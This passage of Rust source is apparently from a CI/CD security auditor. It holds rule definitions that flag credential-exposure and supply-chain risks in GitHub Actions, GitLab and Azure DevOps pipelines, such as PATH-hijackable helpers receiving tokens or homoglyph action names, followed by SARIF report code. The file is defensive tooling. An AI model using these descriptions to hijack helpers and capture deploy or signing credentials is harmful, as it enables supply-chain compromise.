1477 `KEY=value` lines are silently promoted to pipeline variables for any \
1478 consumer linked via `needs:` or `dependencies:` — there is no explicit \
1479 download visible at the job level. When a consumer in a later stage \
1480 targets a production-like environment (`prod`, `production`, `prd`, \
1481 `live`), or when the producer's script reads attacker-influenced inputs \
1482 (`CI_COMMIT_REF_NAME`, `CI_MERGE_REQUEST_SOURCE_BRANCH_NAME`, \
1483 `CI_COMMIT_TAG`), the dotenv flow is a covert privilege-escalation \
1484 channel. Validate dotenv-promoted values in the consumer before use, or \
1485 prefer pipeline-scoped variables for deployment selection.",
1486 default_level: "error",
1487 security_severity: "7.5",
1488 tags: &["security", "propagation", "gitlab"],
1489 },
1490 RuleDef {
1491 id: "setvariable_issecret_false",
1492 name: "SetvariableIssecretFalse",
1493 short_description:
1494 "ADO inline script sets a sensitive pipeline variable without issecret=true.",
1495 full_description:
1496 "An ADO inline script emits `##vso[task.setvariable variable=<NAME>]` for a \
1497 sensitive-named variable without setting `issecret=true`. Without the flag, the \
1498 variable value is printed in plaintext to the pipeline log and is not masked in \
1499 downstream step output.",
1500 default_level: "warning",
1501 security_severity: "5.0",
1502 tags: &["security", "credentials", "azure-devops"],
1503 },
1504 RuleDef {
1505 id: "homoglyph_in_action_ref",
1506 name: "HomoglyphInActionRef",
1507 short_description:
1508 "Action reference contains non-ASCII characters (possible Unicode homoglyph / confusable).",
1509 full_description:
1510 "A GitHub Actions `uses:` field contains one or more non-ASCII characters. \
1511 Legitimate action references are purely ASCII (`owner/repo@ref`). Non-ASCII \
1512 characters in this position indicate a possible Unicode confusable / homoglyph \
1513 attack: an attacker registers an action whose name visually impersonates a \
1514 trusted one by substituting look-alike characters (e.g. Cyrillic `\u{0430}` for \
1515 Latin `a`, U+2215 DIVISION SLASH for `/`). When a developer copies the \
1516 confusable reference it appears identical to the real action. Replace the \
1517 reference with the genuine ASCII action name.",
1518 default_level: "error",
1519 security_severity: "9.0",
1520 tags: &["security", "supply-chain", "github-actions"],
1521 },
1522 RuleDef {
1523 id: "gha_helper_path_sensitive_argv",
1524 name: "GhaHelperPathSensitiveArgv",
1525 short_description: "PATH-selected GHA helper receives sensitive argv.",
1526 full_description:
1527 "A prior same-job step mutates GITHUB_PATH before a known helper-delegating \
1528 GitHub Action passes sensitive material to a bare helper through process \
1529 arguments. Resolve the helper to a trusted absolute path before credentials \
1530 are materialized.",
1531 default_level: "error",
1532 security_severity: "7.8",
1533 tags: &["security", "credentials", "github-actions"],
1534 },
1535 RuleDef {
1536 id: "gha_helper_path_sensitive_stdin",
1537 name: "GhaHelperPathSensitiveStdin",
1538 short_description: "PATH-selected GHA helper receives sensitive stdin.",
1539 full_description:
1540 "A prior same-job step mutates GITHUB_PATH before a known helper-delegating \
1541 GitHub Action pipes secret material to a bare helper over stdin. Keep the \
1542 stdin handoff, but ensure it targets a trusted absolute helper path.",
1543 default_level: "error",
1544 security_severity: "7.8",
1545 tags: &["security", "credentials", "github-actions"],
1546 },
1547 RuleDef {
1548 id: "gha_helper_path_sensitive_env",
1549 name: "GhaHelperPathSensitiveEnv",
1550 short_description: "PATH-selected GHA helper inherits sensitive env.",
1551 full_description:
1552 "A prior same-job step mutates GITHUB_PATH before a known helper-delegating \
1553 GitHub Action invokes a bare helper while sensitive environment authority is \
1554 in scope. Validate the resolved helper path and reduce inherited env.",
1555 default_level: "error",
1556 security_severity: "7.4",
1557 tags: &["security", "credentials", "github-actions"],
1558 },
1559 RuleDef {
1560 id: "gha_post_ambient_env_cleanup_path",
1561 name: "GhaPostAmbientEnvCleanupPath",
1562 short_description: "GHA post cleanup can be retargeted by later env writes.",
1563 full_description:
1564 "A known GitHub Action post hook recomputes cleanup paths from ambient \
1565 environment and a later same-job step writes to GITHUB_ENV. Store cleanup \
1566 targets in GITHUB_STATE/core.saveState instead of ambient env.",
1567 default_level: "warning",
1568 security_severity: "5.8",
1569 tags: &["security", "cleanup", "github-actions"],
1570 },
1571 RuleDef {
1572 id: "gha_action_minted_secret_to_helper",
1573 name: "GhaActionMintedSecretToHelper",
1574 short_description: "GHA action mints a credential then hands it to PATH helper.",
1575 full_description:
1576 "A known GitHub Action mints or exchanges credentials and then delegates the \
1577 resulting authority to a helper selected through mutable PATH. Resolve helper \
1578 paths before minting credentials or reject workspace/temp helpers.",
1579 default_level: "error",
1580 security_severity: "8.0",
1581 tags: &["security", "credentials", "github-actions"],
1582 },
1583 RuleDef {
1584 id: "gha_helper_untrusted_path_resolution",
1585 name: "GhaHelperUntrustedPathResolution",
1586 short_description: "GHA action resolves a sensitive helper after GITHUB_PATH mutation.",
1587 full_description:
1588 "A prior same-job step mutates GITHUB_PATH before a known action invokes a \
1589 security-sensitive helper by bare name. Pin helper execution to a trusted \
1590 absolute path or move the PATH mutation into a separate job.",
1591 default_level: "warning",
1592 security_severity: "6.2",
1593 tags: &["security", "supply-chain", "github-actions"],
1594 },
1595 RuleDef {
1596 id: "gha_secret_output_after_helper_login",
1597 name: "GhaSecretOutputAfterHelperLogin",
1598 short_description: "GHA login action exposes helper credentials as outputs.",
1599 full_description:
1600 "A known login action is configured to expose credential material as step \
1601 outputs after helper login. Keep masking enabled and avoid forwarding login \
1602 credentials through step or job outputs.",
1603 default_level: "error",
1604 security_severity: "7.5",
1605 tags: &["security", "credentials", "github-actions"],
1606 },
1607 RuleDef {
1608 id: "later_secret_materialized_after_path_mutation",
1609 name: "LaterSecretMaterializedAfterPathMutation",
1610 short_description: "Later action authority reaches helper after earlier PATH mutation.",
1611 full_description:
1612 "An earlier same-job step mutates GITHUB_PATH, then a later known helper \
1613 action receives or mints sensitive authority and resolves a bare helper \
1614 through PATH. This is the normalized authority-edge classifier that keeps \
1615 generic PATH edits from becoming findings unless later authority reaches \
1616 the selected helper.",
1617 default_level: "error",
1618 security_severity: "7.8",
1619 tags: &["security", "credentials", "github-actions"],
1620 },
1621 RuleDef {
1622 id: "gha_setup_node_cache_helper_path_handoff",
1623 name: "GhaSetupNodeCacheHelperPathHandoff",
1624 short_description: "setup-node cache discovery resolves package-manager helpers after PATH mutation.",
1625 full_description:
1626 "actions/setup-node cache discovery invokes npm, pnpm, or yarn helpers through \
1627 PATH. When an earlier same-job step mutates GITHUB_PATH, the cache helper \
1628 selection becomes a useful authority-confusion lead rather than a generic \
1629 PATH warning.",
1630 default_level: "warning",
1631 security_severity: "5.8",
1632 tags: &["security", "cache", "github-actions"],
1633 },
1634 RuleDef {
1635 id: "gha_setup_python_cache_helper_path_handoff",
1636 name: "GhaSetupPythonCacheHelperPathHandoff",
1637 short_description: "setup-python cache discovery resolves pip/poetry helpers after PATH mutation.",
1638 full_description:
1639 "actions/setup-python cache modes for pip and poetry invoke package-manager \
1640 helpers through PATH. When an earlier same-job step mutates GITHUB_PATH, \
1641 the cache discovery boundary becomes a source lead for helper-resolution \
1642 authority review.",
1643 default_level: "warning",
1644 security_severity: "5.8",
1645 tags: &["security", "cache", "github-actions"],
1646 },
1647 RuleDef {
1648 id: "gha_setup_python_pip_install_authority_env",
1649 name: "GhaSetupPythonPipInstallAuthorityEnv",
1650 short_description: "setup-python pip-install mode inherits ambient authority.",
1651 full_description:
1652 "actions/setup-python pip-install mode invokes python -m pip install while the \
1653 job has token, package-index, cloud, or identity authority in scope. Treat \
1654 this as a hardening lead for explicit environment allowlisting around \
1655 package installation.",
1656 default_level: "warning",
1657 security_severity: "5.4",
1658 tags: &["security", "credentials", "github-actions"],
1659 },
1660 RuleDef {
1661 id: "gha_docker_setup_qemu_privileged_docker_helper",
1662 name: "GhaDockerSetupQemuPrivilegedDockerHelper",
1663 short_description: "setup-qemu runs privileged Docker helper after registry authority.",
1664 full_description:
1665 "docker/setup-qemu-action delegates to Docker helper operations including \
1666 privileged container execution. The rule fires when earlier registry login \
1667 or private image context exists and an earlier GITHUB_PATH mutation may \
1668 influence Docker helper resolution.",
1669 default_level: "error",
1670 security_severity: "7.2",
1671 tags: &["security", "docker", "github-actions"],
1672 },
1673 RuleDef {
1674 id: "gha_setup_go_cache_helper_path_handoff",
1675 name: "GhaSetupGoCacheHelperPathHandoff",
1676 short_description:
1677 "setup-go cache discovery resolves Go helpers after PATH mutation.",
1678 full_description:
1679 "actions/setup-go cache discovery can invoke Go helper commands through \
1680 PATH. When an earlier same-job step mutates GITHUB_PATH and cache mode is \
1681 explicit, the cache boundary becomes a source lead for helper-resolution \
1682 authority review.",
1683 default_level: "warning",
1684 security_severity: "5.0",
1685 tags: &["security", "cache", "github-actions"],
1686 },
1687 RuleDef {
1688 id: "gha_tool_installer_then_shell_helper_authority",
1689 name: "GhaToolInstallerThenShellHelperAuthority",
1690 short_description: "Installed helper is later used from shell with deploy/signing authority.",
1691 full_description:
1692 "A tool installer such as setup-helm, setup-kubectl, or cosign-installer is \
1693 followed by workflow-authored shell use of that helper while deploy, \
1694 Kubernetes, registry, signing, token, or cloud authority is in scope. This \
1695 is an advisory workflow-shell classifier unless source or witness evidence \
1696 identifies an action-owned helper boundary.",
1697 default_level: "warning",
1698 security_severity: "5.2",
1699 tags: &["security", "workflow-shell", "github-actions"],
1700 },
1701 RuleDef {
1702 id: "gha_workflow_shell_authority_concentration",
1703 name: "GhaWorkflowShellAuthorityConcentration",
1704 short_description: "Workflow shell step concentrates publish, deploy, signing, or release authority.",
1705 full_description:
1706 "A workflow-authored shell step invokes a known authority-bearing sink such \
1707 as docker push, npm publish, twine upload, terraform apply/output, helm \
1708 push, kubectl remote apply, cosign sign/attest, gh release, or cargo \
1709 publish while token, cloud, registry, package, or signing authority is in \
1710 scope. This is a corpus and hardening classifier, not a vulnerability claim.",
1711 default_level: "warning",
1712 security_severity: "5.0",
1713 tags: &["security", "workflow-shell", "github-actions"],
1714 },
1715 RuleDef {
1716 id: "gha_action_token_env_before_bare_download_helper",
1717 name: "GhaActionTokenEnvBeforeBareDownloadHelper",
1718 short_description: "Token-bearing action resolves download helpers after PATH mutation.",
1719 full_description:
1720 "A reviewed upload/release action receives token authority after an earlier \
1721 same-job GITHUB_PATH mutation and invokes bare download or verification \
1722 helpers such as curl, wget, gpg, or checksum tools. Treat this as an \
1723 authority-boundary lead unless source or witness evidence upgrades it.",
1724 default_level: "error",
1725 security_severity: "7.0",
1726 tags: &["security", "credentials", "github-actions"],
1727 },
1728 RuleDef {
1729 id: "gha_post_action_input_retarget_to_cache_save",
1730 name: "GhaPostActionInputRetargetToCacheSave",
1731 short_description: "Cache post-save boundary can be retargeted by later env mutation.",
1732 full_description:
1733 "An actions/cache restore/save boundary is followed by same-job environment \
1734 mutation of cache path, key, or INPUT_-style variables. This flags a \
1735 post-action retargeting lead, not a vulnerability claim.",
1736 default_level: "warning",
1737 security_severity: "5.2",
1738 tags: &["security", "cache", "github-actions"],
1739 },
1740 RuleDef {
1741 id: "gha_terraform_wrapper_sensitive_output",
1742 name: "GhaTerraformWrapperSensitiveOutput",
1743 short_description: "Terraform wrapper stdout/stderr outputs are consumed later.",
1744 full_description:
1745 "hashicorp/setup-terraform wrapper mode captures Terraform stdout/stderr as \
1746 step outputs. A later step consuming those outputs can accidentally move \
1747 sensitive plan or output material across the workflow.",
1748 default_level: "warning",
1749 security_severity: "5.4",
1750 tags: &["security", "credentials", "github-actions"],
1751 },
1752 RuleDef {
1753 id: "gha_composite_bare_helper_after_path_install_with_secret_env",
1754 name: "GhaCompositeBareHelperAfterPathInstallWithSecretEnv",
1755 short_description: "Bare helper runs after PATH mutation with secret env authority.",
1756 full_description:
1757 "A workflow or composite-style shell step invokes bare package, deploy, \
1758 signing, cloud, or release helpers after earlier GITHUB_PATH mutation while \
1759 secret authority is in scope. This is a deterministic hardening classifier.",
1760 default_level: "warning",
1761 security_severity: "5.6",
1762 tags: &["security", "workflow-shell", "github-actions"],
1763 },
1764 RuleDef {
1765 id: "gha_pulumi_path_resolved_cli_with_authority",
1766 name: "GhaPulumiPathResolvedCliWithAuthority",
1767 short_description: "Pulumi authority reaches PATH-resolved CLI helper.",
1768 full_description:
1769 "pulumi/actions receives Pulumi token, cloud, or stack authority after an \
1770 earlier same-job GITHUB_PATH mutation and delegates to a PATH-resolved \
1771 pulumi helper.",
1772 default_level: "error",
1773 security_severity: "7.4",
1774 tags: &["security", "credentials", "github-actions"],
1775 },
1776 RuleDef {
1777 id: "gha_pypi_publish_oidc_after_path_mutation",
1778 name: "GhaPypiPublishOidcAfterPathMutation",
1779 short_description: "PyPI publish/OIDC authority follows PATH mutation.",
1780 full_description:
1781 "pypa/gh-action-pypi-publish receives PyPI token or trusted-publishing \
1782 OIDC authority after an earlier same-job GITHUB_PATH mutation and reaches \
1783 Python packaging helper resolution.",
1784 default_level: "error",
1785 security_severity: "7.4",
1786 tags: &["security", "credentials", "github-actions"],
1787 },
1788 RuleDef {
1789 id: "gha_changesets_publish_command_with_authority",
1790 name: "GhaChangesetsPublishCommandWithAuthority",
1791 short_description: "Changesets publish command runs after PATH mutation with package authority.",
1792 full_description:
1793 "changesets/action has a publish command and package/GitHub token authority \
1794 after an earlier same-job GITHUB_PATH mutation. The action may delegate to \
1795 npm, pnpm, or yarn helpers selected through PATH.",
1796 default_level: "error",
1797 security_severity: "7.2",
1798 tags: &["security", "credentials", "github-actions"],
1799 },
1800 RuleDef {
1801 id: "gha_rubygems_release_git_token_and_oidc_helper",
1802 name: "GhaRubygemsReleaseGitTokenAndOidcHelper",
1803 short_description: "RubyGems release authority reaches PATH helpers.",
1804 full_description:
1805 "rubygems/release-gem receives RubyGems token, GitHub token, or OIDC release \
1806 authority after an earlier same-job GITHUB_PATH mutation and can delegate \
1807 to gem, bundle, or git helpers.",
1808 default_level: "error",
1809 security_severity: "7.2",
1810 tags: &["security", "credentials", "github-actions"],
1811 },
1812 RuleDef {
1813 id: "gha_composite_entrypoint_path_shadow_with_secret_env",
1814 name: "GhaCompositeEntrypointPathShadowWithSecretEnv",
1815 short_description: "Local/composite action runs after PATH mutation with secret env.",
1816 full_description:
1817 "A local/composite action reference runs after an earlier same-job GITHUB_PATH \
1818 mutation while secret authority is directly attached to the action step. \
1819 taudit does not inline local action internals, so this is emitted as a \
1820 review lead for entrypoint and helper resolution.",
1821 default_level: "warning",
1822 security_severity: "5.6",
1823 tags: &["security", "workflow-shell", "github-actions"],
1824 },
1825 RuleDef {
1826 id: "gha_docker_buildx_authority_path_handoff",
1827 name: "GhaDockerBuildxAuthorityPathHandoff",
1828 short_description: "Docker Buildx authority reaches helpers after PATH mutation.",
1829 full_description:
1830 "docker/build-push-action or docker/setup-buildx-action runs after an \
1831 earlier same-job GITHUB_PATH mutation while registry, SSH, build-secret, \
1832 or publish authority is in scope. Treat this as a Docker helper-boundary \
1833 authority lead.",
1834 default_level: "error",
1835 security_severity: "7.2",
1836 tags: &["security", "docker", "github-actions"],
1837 },
1838 RuleDef {
1839 id: "gha_google_deploy_gcloud_credential_path",
1840 name: "GhaGoogleDeployGcloudCredentialPath",
1841 short_description: "Google deploy credential reaches PATH-resolved gcloud.",
1842 full_description:
1843 "Google deploy actions for App Engine or Cloud Run run after earlier \
1844 same-job GITHUB_PATH mutation while Google deploy credentials, ADC, OIDC, \
1845 or service-account authority is present, then delegate to gcloud.",
1846 default_level: "error",
1847 security_severity: "7.6",
1848 tags: &["security", "credentials", "github-actions"],
1849 },
1850 RuleDef {
1851 id: "gha_datadog_test_visibility_installer_authority",
1852 name: "GhaDatadogTestVisibilityInstallerAuthority",
1853 short_description: "Datadog test visibility helper runs with API key authority.",
1854 full_description:
1855 "datadog/test-visibility-github-action runs after earlier same-job \
1856 GITHUB_PATH mutation while Datadog API key or test visibility upload \
1857 authority is present around installer/runtime helper resolution.",
1858 default_level: "warning",
1859 security_severity: "5.8",
1860 tags: &["security", "credentials", "github-actions"],
1861 },
1862 RuleDef {
1863 id: "gha_kubernetes_helper_kubeconfig_authority",
1864 name: "GhaKubernetesHelperKubeconfigAuthority",
1865 short_description: "Kubernetes helpers run with kubeconfig authority after PATH mutation.",
1866 full_description:
1867 "A workflow shell step invokes kubectl or helm deploy helpers after earlier \
1868 same-job GITHUB_PATH mutation while kubeconfig or cluster deploy authority \
1869 is present. This identifies Kubernetes helper-resolution authority leads.",
1870 default_level: "error",
1871 security_severity: "7.2",
1872 tags: &["security", "kubernetes", "github-actions"],
1873 },
1874 RuleDef {
1875 id: "gha_azure_companion_helper_authority",
1876 name: "GhaAzureCompanionHelperAuthority",
1877 short_description: "Azure companion helpers run after PATH mutation with cloud authority.",
1878 full_description:
1879 "A workflow shell step invokes Azure companion helpers such as sqlcmd, \
1880 SqlPackage, kubelogin, pwsh, or powershell after earlier same-job \
1881 GITHUB_PATH mutation and after Azure login or cloud authority is present.",
1882 default_level: "error",
1883 security_severity: "7.2",
1884 tags: &["security", "azure", "github-actions"],
1885 },
1886 RuleDef {
1887 id: "gha_create_pr_git_token_path_handoff",
1888 name: "GhaCreatePrGitTokenPathHandoff",
1889 short_description:
1890 "create-pull-request delegates token authority to PATH-selected git.",
1891 full_description:
1892 "peter-evans/create-pull-request receives GitHub/App token authority or \
1893 write-scoped repository permissions after an earlier same-job GITHUB_PATH \
1894 mutation, then delegates repository mutation to a git helper selected \
1895 through PATH. Treat this as an action-boundary authority lead.",
1896 default_level: "error",
1897 security_severity: "7.8",
1898 tags: &["security", "credentials", "github-actions"],
1899 },
1900 RuleDef {
1901 id: "gha_import_gpg_private_key_helper_path",
1902 name: "GhaImportGpgPrivateKeyHelperPath",
1903 short_description: "GPG import action delegates key material to PATH helpers.",
1904 full_description:
1905 "crazy-max/ghaction-import-gpg receives GPG private key or passphrase \
1906 material after an earlier same-job GITHUB_PATH mutation, then invokes \
1907 gpg or gpg-connect-agent by helper name. Resolve signing helpers to \
1908 trusted paths before private key material is present.",
1909 default_level: "error",
1910 security_severity: "7.8",
1911 tags: &["security", "credentials", "github-actions"],
1912 },
1913 RuleDef {
1914 id: "gha_ssh_agent_private_key_to_path_helper",
1915 name: "GhaSshAgentPrivateKeyToPathHelper",
1916 short_description: "SSH agent action delegates private key material to PATH helpers.",
1917 full_description:
1918 "webfactory/ssh-agent receives SSH private key material after an earlier \
1919 same-job GITHUB_PATH mutation, then invokes ssh-agent or ssh-add through \
1920 PATH. Ensure SSH helpers resolve to trusted runner paths before key \
1921 material reaches stdin or agent state.",
1922 default_level: "error",
1923 security_severity: "7.8",
1924 tags: &["security", "credentials", "github-actions"],
1925 },
1926 RuleDef {
1927 id: "gha_macos_codesign_cert_security_path",
1928 name: "GhaMacosCodesignCertSecurityPath",
1929 short_description: "macOS codesign import delegates certificate authority to security.",
1930 full_description:
1931 "apple-actions/import-codesign-certs receives P12, certificate password, or \
1932 keychain authority after an earlier same-job GITHUB_PATH mutation, then \
1933 delegates to the macOS security helper. Resolve security through a trusted \
1934 absolute path before certificate material is available.",
1935 default_level: "error",
1936 security_severity: "7.8",
1937 tags: &["security", "credentials", "github-actions"],
1938 },
1939 RuleDef {
1940 id: "gha_pages_deploy_token_url_to_git_helper",
1941 name: "GhaPagesDeployTokenUrlToGitHelper",
1942 short_description: "Pages deploy action delegates token URL authority to git.",
1943 full_description:
1944 "Pages deploy actions such as peaceiris/actions-gh-pages or \
1945 JamesIves/github-pages-deploy-action receive GitHub token, PAT, or deploy \
1946 key authority after an earlier same-job GITHUB_PATH mutation, then compose \
1947 Git push authority for a PATH-selected git helper.",
1948 default_level: "error",
1949 security_severity: "7.6",
1950 tags: &["security", "credentials", "github-actions"],
1951 },
1952 RuleDef {
1953 id: "gha_toolcache_absolute_path_downgrade",
1954 name: "GhaToolcacheAbsolutePathDowngrade",
1955 short_description: "Precision guard for toolcache absolute helper execution.",
1956 full_description:
1957 "Precision guard for GitHub Actions that install helpers into the runner \
1958 toolcache and invoke an absolute path. This rule id documents the negative \
1959 control used to avoid helper-PATH false positives.",
1960 default_level: "note",
1961 security_severity: "0.0",
1962 tags: &["security", "precision", "github-actions"],
1963 },
1964];
1965
1966#[derive(Serialize)]
1969struct SarifLog {
1970 #[serde(rename = "$schema")]
1971 schema: &'static str,
1972 version: &'static str,
1973 runs: Vec<SarifRun>,
1974}
1975
1976#[derive(Serialize)]
1977struct SarifRun {
1978 tool: SarifTool,
1979 results: Vec<SarifResult>,
1980}
1981
1982#[derive(Serialize)]
1983struct SarifTool {
1984 driver: SarifDriver,
1985}
1986
1987#[derive(Serialize)]
1988struct SarifDriver {
1989 name: &'static str,
1990 version: String,
1991 #[serde(rename = "informationUri")]
1992 information_uri: &'static str,
1993 rules: Vec<SarifRule>,
1994}
1995
1996#[derive(Serialize)]
1997struct SarifRule {
1998 id: String,
1999 name: String,
2000 #[serde(rename = "shortDescription")]
2001 short_description: SarifMessage,
2002 #[serde(rename = "fullDescription")]
2003 full_description: SarifMessage,
2004 #[serde(rename = "defaultConfiguration")]
2005 default_configuration: SarifDefaultConfiguration,
2006 #[serde(rename = "helpUri")]
2007 help_uri: String,
2008 properties: SarifRuleProperties,
2009}
2010
2011#[derive(Serialize)]
2012struct SarifDefaultConfiguration {
2013 level: String,
2014}
2015
2016#[derive(Serialize)]
2017struct SarifRuleProperties {
2018 #[serde(rename = "security-severity")]
2019 security_severity: String,
2020 tags: Vec<String>,
2021}
2022
2023#[derive(Serialize, Clone)]
2024struct SarifMessage {
2025 text: String,
2026}
2027
2028#[derive(Serialize)]
2029struct SarifResult {
2030 #[serde(rename = "ruleId")]
2031 rule_id: String,
2032 level: &'static str,
2033 message: SarifMessage,
2034 locations: Vec<SarifLocation>,
2035 properties: SarifResultProperties,
2036 #[serde(rename = "partialFingerprints")]
2037 partial_fingerprints: SarifPartialFingerprints,
2038}
2039
2040#[derive(Serialize)]
2041struct SarifResultProperties {
2042 #[serde(rename = "security-severity")]
2043 security_severity: &'static str,
2044 #[serde(rename = "taudit-source")]
2052 taudit_source: String,
2053 #[serde(rename = "findingGroupId", skip_serializing_if = "Option::is_none")]
2058 finding_group_id: Option<String>,
2059 #[serde(rename = "suppressionKey")]
2063 suppression_key: String,
2064 #[serde(rename = "timeToFix", skip_serializing_if = "Option::is_none")]
2068 time_to_fix: Option<&'static str>,
2069 #[serde(rename = "compensatingControls", skip_serializing_if = "Vec::is_empty")]
2073 compensating_controls: Vec<String>,
2074 #[serde(rename = "suppressed", skip_serializing_if = "is_false_ref")]
2078 suppressed: bool,
2079 #[serde(rename = "originalSeverity", skip_serializing_if = "Option::is_none")]
2083 original_severity: Option<&'static str>,
2084 #[serde(rename = "confidenceScope", skip_serializing_if = "Option::is_none")]
2087 confidence_scope: Option<String>,
2088 #[serde(rename = "runtimePreconditions", skip_serializing_if = "Vec::is_empty")]
2091 runtime_preconditions: Vec<String>,
2092 #[serde(
2095 rename = "portalControlDependency",
2096 skip_serializing_if = "is_false_ref"
2097 )]
2098 portal_control_dependency: bool,
2099 #[serde(rename = "authorityKinds", skip_serializing_if = "Vec::is_empty")]
2101 authority_kinds: Vec<String>,
2102 #[serde(rename = "attackerSurfaceKinds", skip_serializing_if = "Vec::is_empty")]
2104 attacker_surface_kinds: Vec<String>,
2105 #[serde(
2107 rename = "templateResolutionStrength",
2108 skip_serializing_if = "Option::is_none"
2109 )]
2110 template_resolution_strength: Option<String>,
2111 #[serde(rename = "cveRelationship", skip_serializing_if = "Option::is_none")]
2113 cve_relationship: Option<String>,
2114}
2115
2116#[allow(clippy::trivially_copy_pass_by_ref)]
2117fn is_false_ref(b: &bool) -> bool {
2118 !*b
2119}
2120
2121fn fix_effort_to_str(e: FixEffort) -> &'static str {
2122 match e {
2123 FixEffort::Trivial => "trivial",
2124 FixEffort::Small => "small",
2125 FixEffort::Medium => "medium",
2126 FixEffort::Large => "large",
2127 }
2128}
2129
2130fn severity_to_str(s: Severity) -> &'static str {
2131 match s {
2132 Severity::Critical => "critical",
2133 Severity::High => "high",
2134 Severity::Medium => "medium",
2135 Severity::Low => "low",
2136 Severity::Info => "info",
2137 }
2138}
2139
2140#[derive(Serialize)]
2141struct SarifPartialFingerprints {
2142 #[serde(rename = "primaryLocationLineHash")]
2146 primary_location_line_hash: String,
2147 #[serde(rename = "taudit/v1")]
2155 taudit_v1: String,
2156}
2157
2158#[derive(Serialize)]
2159struct SarifLocation {
2160 #[serde(rename = "physicalLocation")]
2161 physical_location: SarifPhysicalLocation,
2162}
2163
2164#[derive(Serialize)]
2165struct SarifPhysicalLocation {
2166 #[serde(rename = "artifactLocation")]
2167 artifact_location: SarifArtifactLocation,
2168}
2169
2170#[derive(Serialize)]
2171struct SarifArtifactLocation {
2172 uri: String,
2173 #[serde(rename = "uriBaseId")]
2174 uri_base_id: &'static str,
2175}
2176
2177pub struct SarifReportSink;
2180
2181impl SarifReportSink {
2182 pub fn emit_multi<W: std::io::Write>(
2186 &self,
2187 w: &mut W,
2188 items: &[(&AuthorityGraph, &[Finding])],
2189 ) -> Result<(), TauditError> {
2190 self.emit_multi_with_custom_rules(w, items, &[])
2191 }
2192
2193 pub fn emit_multi_with_custom_rules<W: std::io::Write>(
2198 &self,
2199 w: &mut W,
2200 items: &[(&AuthorityGraph, &[Finding])],
2201 custom_rules: &[CustomRule],
2202 ) -> Result<(), TauditError> {
2203 let mut rules = build_rules();
2204 rules.extend(build_custom_rules(custom_rules));
2205 let custom_ids: std::collections::HashSet<&str> =
2206 custom_rules.iter().map(|r| r.id.as_str()).collect();
2207 let results: Vec<SarifResult> = items
2208 .iter()
2209 .flat_map(|(graph, findings)| {
2210 findings
2211 .iter()
2212 .map(|f| finding_to_result(f, &graph.source.file, graph, &custom_ids))
2213 })
2214 .collect();
2215
2216 let log = SarifLog {
2217 schema: SARIF_SCHEMA,
2218 version: SARIF_VERSION,
2219 runs: vec![SarifRun {
2220 tool: SarifTool {
2221 driver: SarifDriver {
2222 name: TOOL_NAME,
2223 version: env!("CARGO_PKG_VERSION").to_string(),
2224 information_uri: TOOL_URI,
2225 rules,
2226 },
2227 },
2228 results,
2229 }],
2230 };
2231
2232 serde_json::to_writer_pretty(w, &log)
2233 .map_err(|e| TauditError::Report(format!("SARIF serialization error: {e}")))?;
2234
2235 Ok(())
2236 }
2237}
2238
2239impl<W: std::io::Write> ReportSink<W> for SarifReportSink {
2240 fn emit(
2241 &self,
2242 w: &mut W,
2243 graph: &AuthorityGraph,
2244 findings: &[Finding],
2245 ) -> Result<(), TauditError> {
2246 self.emit_multi(w, &[(graph, findings)])
2247 }
2248}
2249
2250fn build_rules() -> Vec<SarifRule> {
2251 RULE_DEFS
2252 .iter()
2253 .map(|r| SarifRule {
2254 id: r.id.to_string(),
2255 name: r.name.to_string(),
2256 short_description: SarifMessage {
2257 text: r.short_description.to_string(),
2258 },
2259 full_description: SarifMessage {
2260 text: r.full_description.to_string(),
2261 },
2262 default_configuration: SarifDefaultConfiguration {
2263 level: r.default_level.to_string(),
2264 },
2265 help_uri: format!("{RULES_BASE_URI}/{}", r.id),
2266 properties: SarifRuleProperties {
2267 security_severity: r.security_severity.to_string(),
2268 tags: r.tags.iter().map(|t| (*t).to_string()).collect(),
2269 },
2270 })
2271 .collect()
2272}
2273
2274fn build_custom_rules(rules: &[CustomRule]) -> Vec<SarifRule> {
2275 rules
2276 .iter()
2277 .map(|r| {
2278 let level = match r.severity {
2279 Severity::Critical | Severity::High => "error",
2280 Severity::Medium => "warning",
2281 Severity::Low | Severity::Info => "note",
2282 };
2283 let security_severity = match r.severity {
2284 Severity::Critical => "9.0",
2285 Severity::High => "7.5",
2286 Severity::Medium => "5.0",
2287 Severity::Low => "2.0",
2288 Severity::Info => "0.1",
2289 };
2290 let short_raw = if r.description.is_empty() {
2299 r.name.clone()
2300 } else {
2301 r.description.clone()
2302 };
2303 let short = escape_markdown(&short_raw).into_owned();
2304 let name = escape_markdown(&r.name).into_owned();
2305 SarifRule {
2314 id: r.id.clone(),
2315 name,
2316 short_description: SarifMessage {
2317 text: short.clone(),
2318 },
2319 full_description: SarifMessage { text: short },
2320 default_configuration: SarifDefaultConfiguration {
2321 level: level.to_string(),
2322 },
2323 help_uri: format!("{RULES_BASE_URI}/{}", r.id),
2324 properties: SarifRuleProperties {
2325 security_severity: security_severity.to_string(),
2326 tags: vec!["security".to_string(), "custom-rule".to_string()],
2327 },
2328 }
2329 })
2330 .collect()
2331}
2332
2333fn finding_to_result(
2342 finding: &Finding,
2343 source_file: &str,
2344 graph: &AuthorityGraph,
2345 _custom_ids: &std::collections::HashSet<&str>,
2346) -> SarifResult {
2347 let rule_id = rule_id_for(finding);
2348 let level = severity_to_level(&finding.severity);
2349 let security_severity = severity_to_security_severity(&finding.severity);
2350
2351 let uri = source_file.to_string();
2352
2353 let fingerprint = compute_fingerprint(finding, graph);
2359 let suppression_key = compute_suppression_key(finding, graph);
2360
2361 let taudit_source = match &finding.source {
2362 FindingSource::BuiltIn => "built-in".to_string(),
2363 FindingSource::Custom { source_file } => {
2364 format!("custom:{}", source_file.display())
2365 }
2366 };
2367 let finding_group_id = finding
2368 .extras
2369 .finding_group_id
2370 .clone()
2371 .or_else(|| Some(compute_finding_group_id(&fingerprint)));
2372 let time_to_fix = finding.extras.time_to_fix.map(fix_effort_to_str);
2373 let compensating_controls = finding.extras.compensating_controls.clone();
2374 let suppressed = finding.extras.suppressed;
2375 let original_severity = finding.extras.original_severity.map(severity_to_str);
2376 let confidence_scope = finding.extras.confidence_scope.clone();
2377 let runtime_preconditions = finding.extras.runtime_preconditions.clone();
2378 let portal_control_dependency = finding.extras.portal_control_dependency;
2379 let authority_kinds = finding.extras.authority_kinds.clone();
2380 let attacker_surface_kinds = finding.extras.attacker_surface_kinds.clone();
2381 let template_resolution_strength = finding.extras.template_resolution_strength.clone();
2382 let cve_relationship = finding.extras.cve_relationship.clone();
2383
2384 let escaped_message = escape_markdown(&finding.message).into_owned();
2392
2393 SarifResult {
2394 rule_id,
2395 level,
2396 message: SarifMessage {
